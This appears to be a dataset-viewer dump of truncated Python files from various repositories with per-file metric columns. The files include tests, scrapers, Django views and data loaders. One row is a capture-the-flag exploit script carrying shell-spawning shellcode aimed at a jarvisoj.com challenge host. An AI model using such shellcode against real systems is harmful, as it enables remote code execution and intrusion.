- "Search the Application API by ... | 30.841629 | 120 | 0.657424 | 811 | 6,816 | 5.381011 | 0.241677 | 0.044913 | 0.036664 | 0.020165 | 0.283914 | 0.20967 | 0.131989 | 0.090284 | 0.048121 | 0.038039 | 0 | 0.012118 | 0.261444 | 6,816 | 220 | 121 | 30.981818 | 0.854787 | 0.00983 | 0 | 0.307292 | 0 | 0 | 0.67719 | 0.049652 | 0 | 0 | 0 | 0 | 0 | 1 | 0.010417 | false | 0.005208 | 0.020833 | 0 | 0.03125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a93c706774e1f4d0d457d316c78682d027154d47 | 3,831 | py | Python | payjp/test/helper.py | payjp/payjp-python | 994b16addd8327781eb936eca60d1abe7f7c7819 | [
"MIT"
] | 15 | 2015-09-13T14:40:48.000Z | 2021-04-29T15:21:13.000Z | payjp/test/helper.py | payjp/payjp-python | 994b16addd8327781eb936eca60d1abe7f7c7819 | [
"MIT"
] | 9 | 2015-09-07T07:57:20.000Z | 2020-12-14T07:11:59.000Z | payjp/test/helper.py | payjp/payjp-python | 994b16addd8327781eb936eca60d1abe7f7c7819 | [
"MIT"
] | 10 | 2015-09-07T07:56:09.000Z | 2020-05-22T12:43:21.000Z | import datetime
import json
import os
import random
import re
import string
import unittest
from mock import patch, Mock
from six import string_types
import payjp
NOW = datetime.datetime.now()
DUMMY_CARD = {
'number': '4242424242424242',
'exp_month': NOW.month,
'exp_year': NOW.year + 4
}
DUMMY_CHARGE ... | 25.711409 | 106 | 0.640825 | 406 | 3,831 | 5.8867 | 0.344828 | 0.048954 | 0.015063 | 0.021339 | 0.067782 | 0.025105 | 0 | 0 | 0 | 0 | 0 | 0.015658 | 0.249804 | 3,831 | 148 | 107 | 25.885135 | 0.815936 | 0.006787 | 0 | 0.163462 | 0 | 0 | 0.101499 | 0.016829 | 0 | 0 | 0 | 0 | 0.009615 | 1 | 0.076923 | false | 0.057692 | 0.096154 | 0 | 0.288462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a9440e6319530ec77d36ca44c2d10c5d28d16894 | 3,227 | py | Python | pullintradayprices.py | rtstock/rtstock4 | 040b3409cfb022767dde467578f359210a689512 | [
"MIT"
] | null | null | null | pullintradayprices.py | rtstock/rtstock4 | 040b3409cfb022767dde467578f359210a689512 | [
"MIT"
] | null | null | null | pullintradayprices.py | rtstock/rtstock4 | 040b3409cfb022767dde467578f359210a689512 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
Retrieve intraday stock data from Google Finance.
"""
import csv
import datetime
import re
import pandas as pd
import requests
def intradaystockprices(ticker, period=60, days=1):
"""
Retrieve intraday stock data from Google Finance.
Parameters
----------
ticker : str
... | 40.3375 | 132 | 0.515029 | 377 | 3,227 | 4.3687 | 0.339523 | 0.027322 | 0.048573 | 0.075896 | 0.375835 | 0.375835 | 0.375835 | 0.316333 | 0.200364 | 0.200364 | 0 | 0.015289 | 0.35141 | 3,227 | 79 | 133 | 40.848101 | 0.77162 | 0.321661 | 0 | 0.058824 | 0 | 0.029412 | 0.091022 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.147059 | null | null | 0.029412 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9497a37feb2dcdef1ff9d5ca11f00c665e15759 | 20,716 | py | Python | ems/views.py | abhi20161997/Apogee-2017 | e4ae1b379bd5111a3bd7d3399d081dda897a8566 | [
"BSD-3-Clause"
] | null | null | null | ems/views.py | abhi20161997/Apogee-2017 | e4ae1b379bd5111a3bd7d3399d081dda897a8566 | [
"BSD-3-Clause"
] | null | null | null | ems/views.py | abhi20161997/Apogee-2017 | e4ae1b379bd5111a3bd7d3399d081dda897a8566 | [
"BSD-3-Clause"
] | null | null | null | from django.shortcuts import render, redirect
from django.contrib.admin.views.decorators import staff_member_required
from django.views.decorators.csrf import csrf_exempt
from django.contrib.auth import authenticate, login, logout
from django.http import HttpResponse
from ems.models import Score, Level, Judge, Label, T... | 32.217729 | 203 | 0.695791 | 2,791 | 20,716 | 5.088499 | 0.080975 | 0.074356 | 0.038023 | 0.041825 | 0.712857 | 0.642515 | 0.571962 | 0.515139 | 0.47106 | 0.456837 | 0 | 0.001805 | 0.170931 | 20,716 | 643 | 204 | 32.217729 | 0.825095 | 0.002365 | 0 | 0.552459 | 0 | 0.006557 | 0.137334 | 0.029906 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.022951 | 0.016393 | null | null | 0.001639 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a94bd224bee59029c8d307451756cf94ded0c086 | 375 | py | Python | profiles/tables/role_binding_by_team_table.py | LaudateCorpus1/squest | 98304f20c1d966fb3678d348ffd7c5be438bb6be | [
"Apache-2.0"
] | 112 | 2021-04-21T08:52:55.000Z | 2022-03-01T15:09:19.000Z | profiles/tables/role_binding_by_team_table.py | LaudateCorpus1/squest | 98304f20c1d966fb3678d348ffd7c5be438bb6be | [
"Apache-2.0"
] | 216 | 2021-04-21T09:06:47.000Z | 2022-03-30T14:21:28.000Z | profiles/tables/role_binding_by_team_table.py | LaudateCorpus1/squest | 98304f20c1d966fb3678d348ffd7c5be438bb6be | [
"Apache-2.0"
] | 21 | 2021-04-20T13:53:54.000Z | 2022-03-30T21:43:04.000Z | from django_tables2 import tables, Column
from profiles.models import TeamRoleBinding
class RoleBindingByTeamTable(tables.Table):
object_name = Column(verbose_name='Name')
class Meta:
model = TeamRoleBinding
attrs = {"id": "teams_by_object_table", "class": "table squest-pagination-tables "}
... | 31.25 | 91 | 0.712 | 42 | 375 | 6.166667 | 0.619048 | 0.07722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003247 | 0.178667 | 375 | 11 | 92 | 34.090909 | 0.837662 | 0 | 0 | 0 | 0 | 0 | 0.237333 | 0.12 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
a9508614454f6bf05864b1611a7fc47f5a0baa76 | 299 | py | Python | numpy_demo/version.py | mpmkp2020/numpy_demo | 796262e06c84b7e9aa446b244a3faf3891d9ece1 | [
"BSD-3-Clause"
] | null | null | null | numpy_demo/version.py | mpmkp2020/numpy_demo | 796262e06c84b7e9aa446b244a3faf3891d9ece1 | [
"BSD-3-Clause"
] | null | null | null | numpy_demo/version.py | mpmkp2020/numpy_demo | 796262e06c84b7e9aa446b244a3faf3891d9ece1 | [
"BSD-3-Clause"
] | null | null | null |
# THIS FILE IS GENERATED FROM NUMPY SETUP.PY
#
# To compare versions robustly, use `numpy_demo.lib.NumpyVersion`
short_version = '1.29.0'
version = '1.29.0'
full_version = '1.29.0'
git_revision = 'dd8e9be4d35e25e795d8d139ff4658715767c211'
release = True
if not release:
version = full_version
| 23 | 65 | 0.755853 | 42 | 299 | 5.261905 | 0.690476 | 0.108597 | 0.135747 | 0.149321 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152344 | 0.143813 | 299 | 12 | 66 | 24.916667 | 0.710938 | 0.354515 | 0 | 0 | 1 | 0 | 0.308511 | 0.212766 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9562047bea821bb81235f635245c2aa193d719c | 619 | py | Python | PWN/jarvisoj.com/level1/exploit.py | WinDDDog/Note | 5489ffeabe75d256b8bffffb24ab131cc74f3aed | [
"Apache-2.0"
] | null | null | null | PWN/jarvisoj.com/level1/exploit.py | WinDDDog/Note | 5489ffeabe75d256b8bffffb24ab131cc74f3aed | [
"Apache-2.0"
] | null | null | null | PWN/jarvisoj.com/level1/exploit.py | WinDDDog/Note | 5489ffeabe75d256b8bffffb24ab131cc74f3aed | [
"Apache-2.0"
] | null | null | null | from pwn import *
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
HOST = 'pwn2.jarvisoj.com'
PORT = 9877
def PrettyTommy(ip,port):
con = remote(ip,port)
... | 29.47619 | 195 | 0.592892 | 96 | 619 | 3.822917 | 0.572917 | 0.057221 | 0.049046 | 0.065395 | 0.114441 | 0.114441 | 0.114441 | 0 | 0 | 0 | 0 | 0.178344 | 0.239095 | 619 | 20 | 196 | 30.95 | 0.600849 | 0 | 0 | 0 | 0 | 0.066667 | 0.345576 | 0.300501 | 0 | 0 | 0.006678 | 0 | 0 | 0 | null | null | 0 | 0.066667 | null | null | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a95b262364cdeaaec9745537650c70b839330456 | 1,368 | py | Python | package_installer.py | LukasDoesDev/deployarch | 775e15220003ddbf30774167a0c3d145d84489a0 | [
"MIT"
] | 2 | 2021-02-07T14:47:28.000Z | 2021-02-08T10:42:54.000Z | package_installer.py | LukasDoesDev/deployarch | 775e15220003ddbf30774167a0c3d145d84489a0 | [
"MIT"
] | 1 | 2021-02-08T13:46:39.000Z | 2021-02-08T13:46:39.000Z | package_installer.py | LukasDoesDev/deployarch | 775e15220003ddbf30774167a0c3d145d84489a0 | [
"MIT"
] | 1 | 2021-02-07T14:47:35.000Z | 2021-02-07T14:47:35.000Z | import json
import subprocess
PACMAN_SYNC_DB_COMMAND = 'sudo pacman --noconfirm -Sy'
AUR_HELPER_COMMAND = 'paru --noconfirm -S {}'
PACMAN_COMMAND = 'sudo pacman --noconfirm -S {}'
def run_cmds(array):
subprocess.run('\n'.join(array),shell=True, check=True,executable='/bin/bash')
with open('./config.json') as f:
... | 31.090909 | 82 | 0.706871 | 189 | 1,368 | 4.878307 | 0.343915 | 0.106291 | 0.070499 | 0.041215 | 0.058568 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 1,368 | 43 | 83 | 31.813953 | 0.800347 | 0.083333 | 0 | 0 | 0 | 0 | 0.139311 | 0 | 0 | 0 | 0 | 0.023256 | 0 | 1 | 0.03125 | false | 0 | 0.0625 | 0 | 0.09375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a95ff83ce47a3bbf06a07f81219704a5cbadd7ad | 2,564 | py | Python | data_loader/data_loader.py | Lishjie/LUPVisQ | b2f4bcc0e5bf4ce97f9dcfff4901a3469ce04163 | [
"Apache-2.0"
] | null | null | null | data_loader/data_loader.py | Lishjie/LUPVisQ | b2f4bcc0e5bf4ce97f9dcfff4901a3469ce04163 | [
"Apache-2.0"
] | null | null | null | data_loader/data_loader.py | Lishjie/LUPVisQ | b2f4bcc0e5bf4ce97f9dcfff4901a3469ce04163 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# @Time : 2021/01/02 16:26
# @Author : lishijie
import torch
from torch.utils import data
from torch.utils.data import DataLoader
import torchvision
from torchvision.transforms.transforms import Resize
from .databases import *
class LUPVisQDataLoader(object):
"""Dataste class for LUPV... | 45.785714 | 128 | 0.585023 | 262 | 2,564 | 5.587786 | 0.278626 | 0.229508 | 0.110656 | 0.02459 | 0.46653 | 0.433743 | 0.367486 | 0.293716 | 0.293716 | 0.293716 | 0 | 0.056122 | 0.312012 | 2,564 | 55 | 129 | 46.618182 | 0.77381 | 0.072933 | 0 | 0.355556 | 0 | 0 | 0.016477 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.044444 | false | 0 | 0.133333 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9747260a42549b174eafc1943184e3614f86276 | 1,031 | py | Python | pyPico/2.传感器实验/6.水位传感器/main.py | 01studio-lab/MicroPython_Examples | f06a1bee398674ceafebed2aac88d8413cc8abad | [
"MIT"
] | 73 | 2020-05-02T13:48:27.000Z | 2022-03-26T13:15:10.000Z | pyPico/2.传感器实验/6.水位传感器/main.py | 01studio-lab/MicroPython_Examples | f06a1bee398674ceafebed2aac88d8413cc8abad | [
"MIT"
] | null | null | null | pyPico/2.传感器实验/6.水位传感器/main.py | 01studio-lab/MicroPython_Examples | f06a1bee398674ceafebed2aac88d8413cc8abad | [
"MIT"
] | 50 | 2020-05-15T13:57:28.000Z | 2022-03-30T14:03:33.000Z | '''
实验名称:水位传感器
版本:v1.0
日期:2021.1
作者:01Studio 【www.01Studio.org】
说明:通过水位传感器对水位测量并显示。
'''
#导入相关模块
import time
from machine import Pin,SoftI2C,ADC
from ssd1306 import SSD1306_I2C
#初始化oled
i2c = SoftI2C(scl=Pin(10), sda=Pin(11)) #软件I2C初始化:scl--> 10, sda --> 11
oled = SSD1306_I2C(128, 64, i2c, addr=0x3c) #OLED显示屏初始化:128... | 19.826923 | 81 | 0.651794 | 167 | 1,031 | 3.988024 | 0.508982 | 0.108108 | 0.036036 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.19422 | 0.161009 | 1,031 | 51 | 82 | 20.215686 | 0.575723 | 0.187197 | 0 | 0 | 0 | 0 | 0.071719 | 0 | 0 | 0 | 0.005413 | 0 | 0 | 0 | null | null | 0 | 0.12 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9767fe03cd95cd1ee4f89e2a2b53d9dc840600a | 4,032 | py | Python | 1_Basics:warmup/2_TweetsFilter/twitter_exerciseB.py | ferreiro/Python_course | 73eb41e248d702741a4109a78b15ef8e5e6341f2 | [
"MIT"
] | 2 | 2016-02-15T04:12:22.000Z | 2021-09-05T23:26:53.000Z | 1_Basics:warmup/2_TweetsFilter/twitter_exerciseB.py | ferreiro/Python-course | 73eb41e248d702741a4109a78b15ef8e5e6341f2 | [
"MIT"
] | 10 | 2015-10-16T14:37:41.000Z | 2015-11-16T22:29:39.000Z | 2_TwitterAPI/twitter_exerciseB.py | ferreiro/Python | 9a0292d4898571fcef95546eec977d3138c7c23b | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import csv
import json
outdirectory = "outputCSV/"
tweetsFile = "tweets.txt";
outputFile = "mostUsedHasgtags.csv";
tweetsList = [] # List that contains all the tweets readed from a file
hashtagTable = {}; # Dictionary with key= hashtags and value= frecuency for this hashtag
""" Returns ... | 33.322314 | 202 | 0.726438 | 548 | 4,032 | 5.339416 | 0.361314 | 0.014354 | 0.009228 | 0.009569 | 0.118934 | 0.105263 | 0.052632 | 0.030075 | 0.030075 | 0.030075 | 0 | 0.005999 | 0.173115 | 4,032 | 120 | 203 | 33.6 | 0.871626 | 0.259425 | 0 | 0.215385 | 0 | 0 | 0.211473 | 0.00899 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.030769 | null | null | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a979eac6a7daaac0fe50d966818c9860d5136601 | 3,474 | py | Python | pyxlpr/data/icdar/__init__.py | XLPRUtils/pyUtils | 3a62c14b0658ad3c24d83f953ee0d88530b02b23 | [
"Apache-2.0"
] | 15 | 2020-06-09T07:03:07.000Z | 2022-02-25T06:59:34.000Z | pyxlpr/data/icdar/__init__.py | XLPRUtils/pyUtils | 3a62c14b0658ad3c24d83f953ee0d88530b02b23 | [
"Apache-2.0"
] | 5 | 2020-08-08T07:11:21.000Z | 2020-08-08T07:11:24.000Z | pyxlpr/data/icdar/__init__.py | XLPRUtils/pyUtils | 3a62c14b0658ad3c24d83f953ee0d88530b02b23 | [
"Apache-2.0"
] | 2 | 2020-06-09T07:03:26.000Z | 2020-12-31T06:50:37.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : 陈坤泽
# @Email : 877362867@qq.com
# @Date : 2021/02/22 10:29
""" 对icdar2013的三种测评方法的接口封装
官方原版处理两个 zip 文件,这里扩展支持目录、内存对象
"""
import re
from pyxllib.xl import File, Dir, shorten
class IcdarEval:
"""
>>> gt = {'1.abc': [[158, 128, 411, 181], [443, 128... | 35.814433 | 97 | 0.600173 | 416 | 3,474 | 4.889423 | 0.473558 | 0.055064 | 0.090462 | 0.106686 | 0.276303 | 0.245329 | 0.245329 | 0.195182 | 0.195182 | 0.180924 | 0 | 0.078332 | 0.26137 | 3,474 | 96 | 98 | 36.1875 | 0.714341 | 0.470639 | 0 | 0.189189 | 0 | 0 | 0.010759 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.162162 | false | 0 | 0.135135 | 0 | 0.513514 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
a97bced1b47f7e35fb054962b9c59fd468c4c16b | 1,816 | py | Python | inference.py | Retrospection/Yolo-v2-pytorch | d2028219a250e50e03340538faab197ac8ece8a8 | [
"MIT"
] | null | null | null | inference.py | Retrospection/Yolo-v2-pytorch | d2028219a250e50e03340538faab197ac8ece8a8 | [
"MIT"
] | null | null | null | inference.py | Retrospection/Yolo-v2-pytorch | d2028219a250e50e03340538faab197ac8ece8a8 | [
"MIT"
] | 1 | 2021-12-28T08:13:05.000Z | 2021-12-28T08:13:05.000Z | # coding: utf-8
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from src.yolo_net import YoloTest, Yolo
import torch
import cv2
import numpy as np
def read_image(path):
img1 = cv2.imread(path)
img1 = cv2.resize(img1, (224, 224))
img1 = img1.tr... | 24.876712 | 80 | 0.680617 | 252 | 1,816 | 4.730159 | 0.361111 | 0.052852 | 0.040268 | 0.043624 | 0.308725 | 0.308725 | 0.159396 | 0.09396 | 0.09396 | 0.09396 | 0 | 0.093973 | 0.15033 | 1,816 | 73 | 81 | 24.876712 | 0.678548 | 0.506608 | 0 | 0 | 0 | 0 | 0.073733 | 0.051843 | 0 | 0 | 0 | 0 | 0 | 1 | 0.130435 | false | 0 | 0.304348 | 0 | 0.565217 | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
a98618135a8eb68ea555b4e82e1d790635fb2594 | 1,374 | py | Python | DBManager.py | d0d0d0/Kerberos | 38bf0b8388bc4f3571e790d5bc626d050df5d4dc | [
"MIT"
] | null | null | null | DBManager.py | d0d0d0/Kerberos | 38bf0b8388bc4f3571e790d5bc626d050df5d4dc | [
"MIT"
] | null | null | null | DBManager.py | d0d0d0/Kerberos | 38bf0b8388bc4f3571e790d5bc626d050df5d4dc | [
"MIT"
] | null | null | null | ### Implements database management for Authentication Server and TGS ###
from Query import *
from sqlite3 import *
from config import *
class DBManager(object):
def __init__(self, dbname):
try:
self.conn = connect(dbname)
self.cursor = self.conn.cursor()
except Exception as e:
print str(e)
def creat... | 21.809524 | 72 | 0.697234 | 199 | 1,374 | 4.688442 | 0.276382 | 0.117899 | 0.163987 | 0.096463 | 0.549839 | 0.524116 | 0.524116 | 0.495177 | 0.233655 | 0.14791 | 0 | 0.000921 | 0.209607 | 1,374 | 63 | 73 | 21.809524 | 0.858195 | 0.046579 | 0 | 0.530612 | 0 | 0 | 0.029163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.061224 | null | null | 0.122449 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a987d4f7ac2585765bc67edb9138327e5465eec0 | 451 | py | Python | people/views.py | kackey0-1/drf-sample | 914907320bc317240b4d7c07968b6d4ea80b4511 | [
"MIT"
] | null | null | null | people/views.py | kackey0-1/drf-sample | 914907320bc317240b4d7c07968b6d4ea80b4511 | [
"MIT"
] | 6 | 2021-03-30T12:05:07.000Z | 2021-04-05T14:21:46.000Z | people/views.py | kackey0-1/drf-sample | 914907320bc317240b4d7c07968b6d4ea80b4511 | [
"MIT"
] | null | null | null | from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import status
from .models import Person
from .serializers import PersonSerializer
@api_view(['GET'])
def list_people(request):
people = Person.objects.all()
serializer = PersonSerializer(people, m... | 22.55 | 60 | 0.75388 | 55 | 451 | 6.036364 | 0.527273 | 0.072289 | 0.153614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007937 | 0.161863 | 451 | 19 | 61 | 23.736842 | 0.87037 | 0 | 0 | 0 | 0 | 0 | 0.020089 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.384615 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.